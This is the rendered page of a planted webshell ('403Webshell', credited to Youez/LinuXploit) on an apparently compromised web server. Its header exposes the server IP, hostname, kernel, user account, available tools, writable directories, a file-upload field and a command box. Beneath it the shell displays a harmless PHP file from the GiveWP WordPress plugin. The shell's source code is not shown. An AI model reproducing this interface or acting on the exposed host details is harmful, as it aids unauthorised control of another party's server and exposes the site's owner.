403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.144.226.0
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/src/Promotions/WelcomeBanner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/src/Promotions/WelcomeBanner/WelcomeBanner.php
<?php

namespace Give\Promotions\WelcomeBanner;

class WelcomeBanner
{
    /**
     * @since 3.0.0
     */
    public static function isShowing(): bool
    {
        global $pagenow;

        $option = get_option('givewp_welcome_banner_dismiss');

        return $pagenow === 'plugins.php' && !$option;
    }

    /**
     * @since 3.0.0
     */
    public function render(): void
    {
        echo '<div id="givewp-welcome-banner"></div>';
    }

    /**
     * @since 3.0.0
     */
    public function loadScripts(): void
    {
        wp_enqueue_script(
            'givewp-welcome-banner',
            GIVE_PLUGIN_URL . 'assets/dist/js/welcome-banner.js',
            [],
            GIVE_VERSION,
            true
        );

        wp_localize_script(
            'givewp-welcome-banner',
            'WelcomeBanner',
            [
                'root' => esc_url_raw(rest_url('give-api/v2/welcome-banner')),
                'nonce' => wp_create_nonce('wp_rest'),
                'action' => 'givewp_welcome_banner_dismiss',
                'assets' => GIVE_PLUGIN_URL . 'assets/dist/images/admin/promotions/welcome-banner',
            ]
        );

        wp_set_script_translations( 'givewp-welcome-banner', 'give' );
        
        wp_enqueue_style('givewp-design-system-foundation');
        wp_enqueue_style('givewp-admin-fonts');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit